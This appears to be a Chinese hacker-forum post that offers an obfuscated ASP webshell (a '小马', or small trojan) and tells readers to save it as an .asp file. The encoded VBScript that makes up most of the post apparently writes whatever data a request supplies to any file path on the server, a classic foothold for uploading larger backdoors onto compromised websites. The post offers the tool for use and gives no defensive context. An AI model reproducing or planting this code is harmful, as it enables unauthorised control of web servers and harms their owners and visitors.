BWO怎么了？又被人植入木马了吗？

把下面的代码拷贝拷贝到记事本里，后缀改成asp,这是一个小马。
<%@ LANGUAGE = VBScript.Encode %>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>黑客中文网专用ASP小马</title>
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<%#@~^QAAAAA==~U+O,W(LsUr,xPU+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#,ThYAAA==^#~@%>
<%#@~^KQAAAA==~b0~:Db:`M+$;+kYcJkXW[alY4E#*@!@*rE~Y4+ PqgwAAA==^#~@%>
<%#@~^HQAAAA==~6NCDl,'PM+$;+kYcJ1XW[9lYmE#,mwkAAA==^#~@%>
<%#@~^QgAAAA==~U+O,W(LZKE OsbVn'K4%oUrR;.+mY+:naYwk^+cDn5!+dYvE/H0[2mYtEbBK.Eb,dRcAAA==^#~@%>
<%#@~^GgAAAA==~K4%;W!xYwk^nRqDrYPW[mYl,XQkAAA==^#~@%>
<%#@~^SgAAAA==~b0~DMP'ZPD4+ P.+kwGUk+RS.kD+Pr@!WW Y,mGVG.{DnN@*dl7+~j!mmndk"@!z6G Y@*rPMRgAAA==^#~@%>
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